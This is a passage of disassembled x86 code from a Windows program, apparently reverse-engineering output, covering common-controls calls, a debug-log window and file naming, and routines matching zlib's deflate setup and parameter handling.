jz short loc_4BDF9E
mov ecx, [ebp+var_214]
cmp ecx, [ebp+arg_4]
jnz short loc_4BDF9E
jmp short loc_4BDFA0
; ---------------------------------------------------------------------------
loc_4BDF9E: ; CODE XREF: sub_4BDF17+78j
; sub_4BDF17+83j
jmp short loc_4BDF20
; ---------------------------------------------------------------------------
loc_4BDFA0: ; CODE XREF: sub_4BDF17+1Ej
; sub_4BDF17+85j
mov esp, ebp
pop ebp
retn
sub_4BDF17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BDFA4 proc near ; CODE XREF: .text:004B85E8p
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_38 = dword ptr -38h
Dst = dword ptr -34h
var_30 = dword ptr -30h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebp
mov ebp, esp
sub esp, 6Ch
push 34h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset_0
add esp, 0Ch
mov [ebp+Dst], 34h
mov [ebp+var_30], 108h
mov [ebp+var_1C], 1
lea ecx, [ebp+var_68]
mov [ebp+var_14], ecx
mov [ebp+var_10], offset sub_4BE034
push 30h ; Size
push 0 ; Val
lea edx, [ebp+var_68]
push edx ; Dst
call _memset_0
add esp, 0Ch
mov [ebp+var_68], 30h
mov [ebp+var_64], 0
push offset aComctl32_dll ; "COMCTL32.DLL"
call dword_4ED07C ; LoadLibraryA
mov [ebp+var_38], eax
cmp [ebp+var_38], 0
jz short loc_4BE030
push offset aPropertysheeta ; "PropertySheetA"
mov eax, [ebp+var_38]
push eax
call dword_4ED074 ; GetProcAddress
mov [ebp+var_6C], eax
cmp [ebp+var_6C], 0
jz short loc_4BE030
lea ecx, [ebp+Dst]
push ecx
call [ebp+var_6C]
add esp, 4
loc_4BE030: ; CODE XREF: sub_4BDFA4+68j
; sub_4BDFA4+80j
mov esp, ebp
pop ebp
retn
sub_4BDFA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE034 proc near ; DATA XREF: sub_4BDFA4+31o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_4], 1
jnz short loc_4BE072
push 4Eh
call dword_4ED1FC ; GetSystemMetrics
mov [ebp+var_4], eax
push 4Fh
call dword_4ED1FC ; GetSystemMetrics
mov [ebp+var_8], eax
push 1
push 0
push 0
mov eax, [ebp+var_8]
shl eax, 1
push eax
mov ecx, [ebp+var_4]
shl ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4ED1D8 ; MoveWindow
loc_4BE072: ; CODE XREF: sub_4BE034+Aj
xor eax, eax
mov esp, ebp
pop ebp
retn 0Ch
sub_4BE034 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE07A proc near ; CODE XREF: .text:loc_4B85EDp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push offset aComctl32_dll ; "COMCTL32.DLL"
call dword_4ED07C ; LoadLibraryA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4BE0D4
push offset a_trackmouseeve ; "_TrackMouseEvent"
mov eax, [ebp+var_4]
push eax
call dword_4ED074 ; GetProcAddress
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4BE0D4
mov [ebp+var_18], 10h
mov [ebp+var_14], 40000000h
call dword_4ED1D4 ; GetDesktopWindow
mov [ebp+var_10], eax
mov [ebp+var_C], 0FFFFFFFFh
lea ecx, [ebp+var_18]
push ecx
call [ebp+var_8]
add esp, 4
loc_4BE0D4: ; CODE XREF: sub_4BE07A+18j
; sub_4BE07A+30j
mov esp, ebp
pop ebp
retn
sub_4BE07A endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
movsx eax, byte_4F47C0
test eax, eax
jnz short loc_4BE0F3
call sub_4BE1B4
loc_4BE0F3: ; CODE XREF: .text:004BE0ECj
mov ecx, [ebp+8]
and ecx, 0FFh
test ecx, ecx
jz loc_4BE185
cmp dword_4F49C8, 0
jnz short loc_4BE185
xor edx, edx
mov dl, byte_4F47BC
test edx, edx
jnz short loc_4BE185
xor eax, eax
mov al, byte_4F47BD
test eax, eax
jnz short loc_4BE185
push 0
push 0
call dword_4ED050 ; GetModuleHandleA
push eax
push 0
push 0
push 80000000h
push 80000000h
push 80000000h
push 80000000h
push 10F45100h
push offset byte_4F47C0
push offset aListbox ; "LISTBOX"
push 40000h
call dword_4ED250 ; CreateWindowExA
mov dword_4F49C8, eax
cmp dword_4F49C8, 0
jnz short loc_4BE183
call dword_4ED078 ; RtlGetLastWin32Error
push eax
push offset aRaidErrorUCrea ; "RAID error %u creating listwindow, reve"...
call sub_4BE234
add esp, 8
loc_4BE183: ; CODE XREF: .text:004BE16Dj
jmp short loc_4BE1B2
; ---------------------------------------------------------------------------
loc_4BE185: ; CODE XREF: .text:004BE0FEj
; .text:004BE10Bj ...
mov ecx, [ebp+8]
and ecx, 0FFh
test ecx, ecx
jnz short loc_4BE1B2
cmp dword_4F49C8, 0
jz short loc_4BE1B2
mov edx, dword_4F49C8
push edx
call dword_4ED228 ; DestroyWindow
mov dword_4F49C8, 0
loc_4BE1B2: ; CODE XREF: .text:loc_4BE183j
; .text:004BE190j ...
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE1B4 proc near ; CODE XREF: .text:004BE0EEp
; sub_4BE283+Fp
Source = dword ptr -10Ch
Str = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
movsx eax, byte_4F48C4
test eax, eax
jnz short loc_4BE1D4
push 0
push 0
call sub_4BE373
add esp, 8
loc_4BE1D4: ; CODE XREF: sub_4BE1B4+12j
push offset byte_4F48C4 ; Source
lea ecx, [ebp+Str]
push ecx ; Dest
call _strcpy_0
add esp, 8
push 5Ch ; Ch
lea edx, [ebp+Str]
push edx ; Str
call _strrchr_0
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4BE210
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+Source], eax
jmp short loc_4BE21C
; ---------------------------------------------------------------------------
loc_4BE210: ; CODE XREF: sub_4BE1B4+4Cj
lea ecx, [ebp+Str]
mov [ebp+Source], ecx
loc_4BE21C: ; CODE XREF: sub_4BE1B4+5Aj
mov edx, [ebp+Source]
push edx ; Source
push offset byte_4F47C0 ; Dest
call _strcpy_0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_4BE1B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4BE234(char *Format,char)
sub_4BE234 proc near ; CODE XREF: .text:004BE17Bp
Args = dword ptr -2004h
Dest = byte ptr -2000h
Format = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2004h
call __alloca_probe_0
lea eax, [ebp+arg_4]
mov [ebp+Args], eax
mov ecx, [ebp+Args]
push ecx ; Args
mov edx, [ebp+Format]
push edx ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _vsprintf
add esp, 0Ch
mov [ebp+Args], 0
lea ecx, [ebp+Dest]
push ecx
push 0
call sub_4BE283
add esp, 8
mov esp, ebp
pop ebp
retn
sub_4BE234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE283 proc near ; CODE XREF: sub_4BE234+43p
; .text:004BE367p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
movsx eax, byte_4F47C0
test eax, eax
jnz short loc_4BE297
call sub_4BE1B4
loc_4BE297: ; CODE XREF: sub_4BE283+Dj
xor ecx, ecx
mov cl, byte_4F47BD
test ecx, ecx
jnz short loc_4BE31E
xor edx, edx
mov dl, byte_4F47BC
test edx, edx
jnz short loc_4BE31E
cmp dword_4F49C8, 0
jz short loc_4BE2F9
mov eax, [ebp+arg_4]
push eax
push 0
push 180h
mov ecx, dword_4F49C8
push ecx
call dword_4ED25C ; SendMessageA
mov [ebp+var_4], eax
push 0
mov edx, [ebp+var_4]
push edx
push 186h
mov eax, dword_4F49C8
push eax
call dword_4ED25C ; SendMessageA
mov ecx, dword_4F49C8
push ecx
call dword_4ED214 ; UpdateWindow
jmp short loc_4BE31E
; ---------------------------------------------------------------------------
loc_4BE2F9: ; CODE XREF: sub_4BE283+33j
push 10001h
push offset byte_4F47C0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4ED22C ; MessageBoxA
cmp eax, 2
jnz short loc_4BE31E
push 1
call dword_4ED118 ; ExitProcess
loc_4BE31E: ; CODE XREF: sub_4BE283+1Ej
; sub_4BE283+2Aj ...
mov esp, ebp
pop ebp
retn
sub_4BE283 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2004h
call __alloca_probe_0
lea eax, [ebp+10h]
mov [ebp-2004h], eax
mov ecx, [ebp-2004h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-2000h]
push eax
call _vsprintf
add esp, 0Ch
mov dword ptr [ebp-2004h], 0
lea ecx, [ebp-2000h]
push ecx
mov edx, [ebp+8]
push edx
call sub_4BE283
add esp, 8
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE373 proc near ; CODE XREF: WinMain(x,x,x,x)+3Fp
; .text:004B8515p ...
Dest = dword ptr -10Ch
var_108 = dword ptr -108h
Str = byte ptr -104h
var_103 = byte ptr -103h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
cmp [ebp+arg_0], 0
jnz short loc_4BE38E
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp+arg_0], eax
loc_4BE38E: ; CODE XREF: sub_4BE373+Ej
mov al, byte_4F4120
mov [ebp+Str], al
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
push 104h
lea ecx, [ebp+Str]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4ED1C4 ; GetModuleFileNameA
push 5Ch ; Ch
lea eax, [ebp+Str]
push eax ; Str
call _strrchr_0
add esp, 8
mov [ebp+var_108], eax
cmp [ebp+var_108], 0
jnz short loc_4BE3ED
lea ecx, [ebp+Str]
mov [ebp+var_108], ecx
loc_4BE3ED: ; CODE XREF: sub_4BE373+6Cj
push 2Eh ; Ch
lea edx, [ebp+Str]
push edx ; Str
call _strrchr_0
add esp, 8
mov [ebp+Dest], eax
cmp [ebp+Dest], 0
jz short loc_4BE41B
mov eax, [ebp+Dest]
cmp eax, [ebp+var_108]
jnb short loc_4BE432
loc_4BE41B: ; CODE XREF: sub_4BE373+98j
push 0 ; Val
lea ecx, [ebp+Str]
push ecx ; Str
call _strchr_0
add esp, 8
mov [ebp+Dest], eax
loc_4BE432: ; CODE XREF: sub_4BE373+A6j
cmp [ebp+arg_4], 0
jz short loc_4BE467
mov edx, [ebp+arg_4]
push edx
push offset aU ; "-%u"
mov eax, [ebp+Dest]
push eax ; Dest
call _sprintf_0
add esp, 0Ch
push 0 ; Val
mov ecx, [ebp+Dest]
push ecx ; Str
call _strchr_0
add esp, 8
mov [ebp+Dest], eax
loc_4BE467: ; CODE XREF: sub_4BE373+C3j
push offset a_dbglog ; ".DbgLog"
mov edx, [ebp+Dest]
push edx ; Dest
call _strcpy_0
add esp, 8
lea eax, [ebp+Str]
push eax ; Source
push offset byte_4F48C4 ; Dest
call _strcpy_0
add esp, 8
pop edi
mov esp, ebp
pop ebp
retn
sub_4BE373 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 40h
lea eax, [ebp-40h]
push eax
call dword_4ED11C ; GetLocalTime
lea ecx, [ebp-4]
push ecx
call _time_0
add esp, 4
lea edx, [ebp-4]
push edx
call _localtime
add esp, 4
push eax
push offset aC ; "%c"
push 2Ch
lea eax, [ebp-30h]
push eax
call sub_4C9743
add esp, 10h
mov ecx, [ebp-32h]
and ecx, 0FFFFh
push ecx
lea edx, [ebp-30h]
push edx
push offset aS_03d ; "%s.%03d"
push offset dword_4F4794
call _sprintf_0
add esp, 10h
push offset asc_4EDDD0 ; " --- "
push offset dword_4F4794
call _strcat_0
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE510 proc near ; CODE XREF: .text:004902E9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 0
push 8
push 0Fh
push 8
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4BE535
add esp, 20h
pop ebp
retn
sub_4BE510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE535 proc near ; CODE XREF: sub_4BE510+1Bp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
cmp [ebp+arg_18], 0
jz short loc_4BE561
mov eax, [ebp+arg_18]
movsx ecx, byte ptr [eax]
mov edx, off_4EDDE4
movsx eax, byte ptr [edx]
cmp ecx, eax
jnz short loc_4BE561
cmp [ebp+arg_1C], 38h
jz short loc_4BE56B
loc_4BE561: ; CODE XREF: sub_4BE535+11j
; sub_4BE535+24j
mov eax, 0FFFFFFFAh
jmp loc_4BE81D
; ---------------------------------------------------------------------------
loc_4BE56B: ; CODE XREF: sub_4BE535+2Aj
cmp [ebp+arg_0], 0
jnz short loc_4BE57B
mov eax, 0FFFFFFFEh
jmp loc_4BE81D
; ---------------------------------------------------------------------------
loc_4BE57B: ; CODE XREF: sub_4BE535+3Aj
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], 0
mov edx, [ebp+arg_0]
cmp dword ptr [edx+20h], 0
jnz short loc_4BE5A2
mov eax, [ebp+arg_0]
mov dword ptr [eax+20h], offset sub_4C169E
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+28h], 0
loc_4BE5A2: ; CODE XREF: sub_4BE535+57j
mov edx, [ebp+arg_0]
cmp dword ptr [edx+24h], 0
jnz short loc_4BE5B5
mov eax, [ebp+arg_0]
mov dword ptr [eax+24h], offset sub_4C16C7
loc_4BE5B5: ; CODE XREF: sub_4BE535+74j
cmp [ebp+arg_4], 0FFFFFFFFh
jnz short loc_4BE5C2
mov [ebp+arg_4], 6
loc_4BE5C2: ; CODE XREF: sub_4BE535+84j
cmp [ebp+arg_C], 0
jge short loc_4BE5D7
mov [ebp+var_C], 1
mov ecx, [ebp+arg_C]
neg ecx
mov [ebp+arg_C], ecx
loc_4BE5D7: ; CODE XREF: sub_4BE535+91j
cmp [ebp+arg_10], 1
jl short loc_4BE60D
cmp [ebp+arg_10], 9
jg short loc_4BE60D
cmp [ebp+arg_8], 8
jnz short loc_4BE60D
cmp [ebp+arg_C], 9
jl short loc_4BE60D
cmp [ebp+arg_C], 0Fh
jg short loc_4BE60D
cmp [ebp+arg_4], 0
jl short loc_4BE60D
cmp [ebp+arg_4], 9
jg short loc_4BE60D
cmp [ebp+arg_14], 0
jl short loc_4BE60D
cmp [ebp+arg_14], 2
jle short loc_4BE617
loc_4BE60D: ; CODE XREF: sub_4BE535+A6j
; sub_4BE535+ACj ...
mov eax, 0FFFFFFFEh
jmp loc_4BE81D
; ---------------------------------------------------------------------------
loc_4BE617: ; CODE XREF: sub_4BE535+D6j
push 16B8h
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4BE641
mov eax, 0FFFFFFFCh
jmp loc_4BE81D
; ---------------------------------------------------------------------------
loc_4BE641: ; CODE XREF: sub_4BE535+100j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+1Ch], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+18h], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+arg_C]
mov [edx+28h], eax
mov ecx, [ebp+var_8]
mov edx, 1
mov ecx, [ecx+28h]
shl edx, cl
mov eax, [ebp+var_8]
mov [eax+24h], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+24h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+2Ch], edx
mov ecx, [ebp+arg_10]
add ecx, 7
mov edx, [ebp+var_8]
mov [edx+48h], ecx
mov eax, [ebp+var_8]
mov edx, 1
mov ecx, [eax+48h]
shl edx, cl
mov eax, [ebp+var_8]
mov [eax+44h], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+44h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4Ch], edx
mov ecx, [ebp+var_8]
mov eax, [ecx+48h]
add eax, 2
xor edx, edx
mov ecx, 3
div ecx
mov edx, [ebp+var_8]
mov [edx+50h], eax
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+24h]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_8]
mov [edx+30h], eax
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+24h]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_8]
mov [edx+38h], eax
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+44h]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_8]
mov [edx+3Ch], eax
mov ecx, [ebp+arg_10]
add ecx, 6
mov eax, 1
shl eax, cl
mov ecx, [ebp+var_8]
mov [ecx+1694h], eax
push 4
mov edx, [ebp+var_8]
mov eax, [edx+1694h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+20h]
add esp, 0Ch
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+8], edx
mov eax, [ebp+var_8]
mov ecx, [eax+1694h]
shl ecx, 2
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov eax, [ebp+var_8]
cmp dword ptr [eax+30h], 0
jz short loc_4BE79D
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+38h], 0
jz short loc_4BE79D
mov edx, [ebp+var_8]
cmp dword ptr [edx+3Ch], 0
jz short loc_4BE79D
mov eax, [ebp+var_8]
cmp dword ptr [eax+8], 0
jnz short loc_4BE7BC
loc_4BE79D: ; CODE XREF: sub_4BE535+24Bj
; sub_4BE535+254j ...
mov ecx, [ebp+arg_0]
mov edx, off_4EDE80
mov [ecx+18h], edx
mov eax, [ebp+arg_0]
push eax
call sub_4BF045
add esp, 4
mov eax, 0FFFFFFFCh
jmp short loc_4BE81D
; ---------------------------------------------------------------------------
loc_4BE7BC: ; CODE XREF: sub_4BE535+266j
mov ecx, [ebp+var_8]
mov edx, [ecx+1694h]
shr edx, 1
mov eax, [ebp+var_4]
lea ecx, [eax+edx*2]
mov edx, [ebp+var_8]
mov [edx+169Ch], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+1694h]
imul ecx, 3
mov edx, [ebp+var_8]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+var_8]
mov [ecx+1690h], eax
mov edx, [ebp+var_8]
mov eax, [ebp+arg_4]
mov [edx+7Ch], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_14]
mov [ecx+80h], edx
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_8]
mov [eax+1Dh], cl
mov edx, [ebp+arg_0]
push edx
call sub_4BE9C1
add esp, 4
loc_4BE81D: ; CODE XREF: sub_4BE535+31j
; sub_4BE535+41j ...
mov esp, ebp
pop ebp
retn
sub_4BE535 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push ebx
mov eax, [ebp+10h]
mov [ebp-8], eax
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+8], 0
jz short loc_4BE856
mov ecx, [ebp+8]
cmp dword ptr [ecx+1Ch], 0
jz short loc_4BE856
cmp dword ptr [ebp+0Ch], 0
jz short loc_4BE856
mov edx, [ebp+8]
mov eax, [edx+1Ch]
cmp dword ptr [eax+4], 2Ah
jz short loc_4BE860
loc_4BE856: ; CODE XREF: .text:004BE839j
; .text:004BE842j ...
mov eax, 0FFFFFFFEh
jmp loc_4BE9BC
; ---------------------------------------------------------------------------
loc_4BE860: ; CODE XREF: .text:004BE854j
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
mov [ebp-4], edx
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_4C16E0
add esp, 0Ch
mov ecx, [ebp+8]
mov [ecx+30h], eax
cmp dword ptr [ebp-8], 3
jnb short loc_4BE893
xor eax, eax
jmp loc_4BE9BC
; ---------------------------------------------------------------------------
loc_4BE893: ; CODE XREF: .text:004BE88Aj
mov edx, [ebp-4]
mov eax, [edx+24h]
sub eax, 106h
cmp [ebp-8], eax
jbe short loc_4BE8C0
mov ecx, [ebp-4]
mov edx, [ecx+24h]
sub edx, 106h
mov [ebp-8], edx
mov eax, [ebp+10h]
sub eax, [ebp-8]
mov ecx, [ebp+0Ch]
add ecx, eax
mov [ebp+0Ch], ecx
loc_4BE8C0: ; CODE XREF: .text:004BE8A1j
mov edx, [ebp-8]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
mov edx, [ecx+30h]
push edx
call _memcpy_1
add esp, 0Ch
mov eax, [ebp-4]
mov ecx, [ebp-8]
mov [eax+64h], ecx
mov edx, [ebp-4]
mov eax, [ebp-8]
mov [edx+54h], eax
mov ecx, [ebp-4]
mov edx, [ecx+30h]
xor eax, eax
mov al, [edx]
mov ecx, [ebp-4]
mov [ecx+40h], eax
mov edx, [ebp-4]
mov eax, [ebp-4]
mov edx, [edx+40h]
mov ecx, [eax+50h]
shl edx, cl
mov eax, [ebp-4]
mov ecx, [eax+30h]
xor eax, eax
mov al, [ecx+1]
xor edx, eax
mov ecx, [ebp-4]
and edx, [ecx+4Ch]
mov eax, [ebp-4]
mov [eax+40h], edx
mov dword ptr [ebp-10h], 0
jmp short loc_4BE932
; ---------------------------------------------------------------------------
loc_4BE929: ; CODE XREF: .text:004BE9A8j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4BE932: ; CODE XREF: .text:004BE927j
mov edx, [ebp-8]
sub edx, 3
cmp [ebp-10h], edx
ja short loc_4BE9AD
mov eax, [ebp-4]
mov ecx, [ebp-4]
mov edx, [eax+40h]
mov ecx, [ecx+50h]
shl edx, cl
mov eax, [ebp-4]
mov ecx, [eax+30h]
mov eax, [ebp-10h]
xor ebx, ebx
mov bl, [ecx+eax+2]
xor edx, ebx
mov ecx, [ebp-4]
and edx, [ecx+4Ch]
mov eax, [ebp-4]
mov [eax+40h], edx
mov ecx, [ebp-4]
mov edx, [ecx+40h]
mov eax, [ebp-4]
mov ecx, [eax+3Ch]
xor eax, eax
mov ax, [ecx+edx*2]
mov [ebp-0Ch], eax
mov ecx, [ebp-4]
mov edx, [ebp-10h]
and edx, [ecx+2Ch]
mov eax, [ebp-4]
mov ecx, [eax+38h]
mov ax, [ebp-0Ch]
mov [ecx+edx*2], ax
mov ecx, [ebp-4]
mov edx, [ecx+40h]
mov eax, [ebp-4]
mov ecx, [eax+3Ch]
mov ax, [ebp-10h]
mov [ecx+edx*2], ax
jmp loc_4BE929
; ---------------------------------------------------------------------------
loc_4BE9AD: ; CODE XREF: .text:004BE93Bj
cmp dword ptr [ebp-0Ch], 0
jz short loc_4BE9BA
mov dword ptr [ebp-0Ch], 0
loc_4BE9BA: ; CODE XREF: .text:004BE9B1j
xor eax, eax
loc_4BE9BC: ; CODE XREF: .text:004BE85Bj
; .text:004BE88Ej
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BE9C1 proc near ; CODE XREF: sub_4BE535+2E0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_4BE9E6
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_4BE9E6
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+20h], 0
jz short loc_4BE9E6
mov edx, [ebp+arg_0]
cmp dword ptr [edx+24h], 0
jnz short loc_4BE9F0
loc_4BE9E6: ; CODE XREF: sub_4BE9C1+8j
; sub_4BE9C1+11j ...
mov eax, 0FFFFFFFEh
jmp loc_4BEA8E
; ---------------------------------------------------------------------------
loc_4BE9F0: ; CODE XREF: sub_4BE9C1+23j
mov eax, [ebp+arg_0]
mov dword ptr [eax+14h], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+18h], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+2Ch], 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 0
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx+10h], eax
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+18h], 0
jge short loc_4BEA4A
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
loc_4BEA4A: ; CODE XREF: sub_4BE9C1+7Dj
mov eax, [ebp+var_4]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 47h
add ecx, 2Ah
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+30h], 1
mov ecx, [ebp+var_4]
mov dword ptr [ecx+20h], 0
mov edx, [ebp+var_4]
push edx
call sub_4C1960
add esp, 4
mov eax, [ebp+var_4]
push eax
call sub_4BF3A2
add esp, 4
xor eax, eax
loc_4BEA8E: ; CODE XREF: sub_4BE9C1+2Aj
mov esp, ebp
pop ebp
retn
sub_4BE9C1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov dword ptr [ebp-4], 0
cmp dword ptr [ebp+8], 0
jz short loc_4BEAAE
mov eax, [ebp+8]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4BEAB8
loc_4BEAAE: ; CODE XREF: .text:004BEAA3j
mov eax, 0FFFFFFFEh
jmp loc_4BEBAA
; ---------------------------------------------------------------------------
loc_4BEAB8: ; CODE XREF: .text:004BEAACj
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
mov [ebp-8], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_4BEACE
mov dword ptr [ebp+0Ch], 6
loc_4BEACE: ; CODE XREF: .text:004BEAC5j
cmp dword ptr [ebp+0Ch], 0
jl short loc_4BEAE6
cmp dword ptr [ebp+0Ch], 9
jg short loc_4BEAE6
cmp dword ptr [ebp+10h], 0
jl short loc_4BEAE6
cmp dword ptr [ebp+10h], 2
jle short loc_4BEAF0
loc_4BEAE6: ; CODE XREF: .text:004BEAD2j
; .text:004BEAD8j ...
mov eax, 0FFFFFFFEh
jmp loc_4BEBAA
; ---------------------------------------------------------------------------
loc_4BEAF0: ; CODE XREF: .text:004BEAE4j
mov eax, [ebp-8]
mov ecx, [eax+7Ch]
imul ecx, 0Ch
mov edx, off_4F1FE8[ecx]
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
imul eax, 0Ch
mov ecx, [ebp-0Ch]
cmp ecx, off_4F1FE8[eax]
jz short loc_4BEB2D
mov edx, [ebp+8]
cmp dword ptr [edx+8], 0
jz short loc_4BEB2D
push 1
mov eax, [ebp+8]
push eax
call sub_4BEBAE
add esp, 8
mov [ebp-4], eax
loc_4BEB2D: ; CODE XREF: .text:004BEB11j
; .text:004BEB1Aj
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
cmp edx, [ebp+0Ch]
jz short loc_4BEB9B
mov eax, [ebp-8]
mov ecx, [ebp+0Ch]
mov [eax+7Ch], ecx
mov edx, [ebp+0Ch]
imul edx, 0Ch
xor eax, eax
mov ax, word_4F1FE2[edx]
mov ecx, [ebp-8]
mov [ecx+78h], eax
mov edx, [ebp+0Ch]
imul edx, 0Ch
xor eax, eax
mov ax, word_4F1FE0[edx]
mov ecx, [ebp-8]
mov [ecx+84h], eax
mov edx, [ebp+0Ch]
imul edx, 0Ch
xor eax, eax
mov ax, word_4F1FE4[edx]
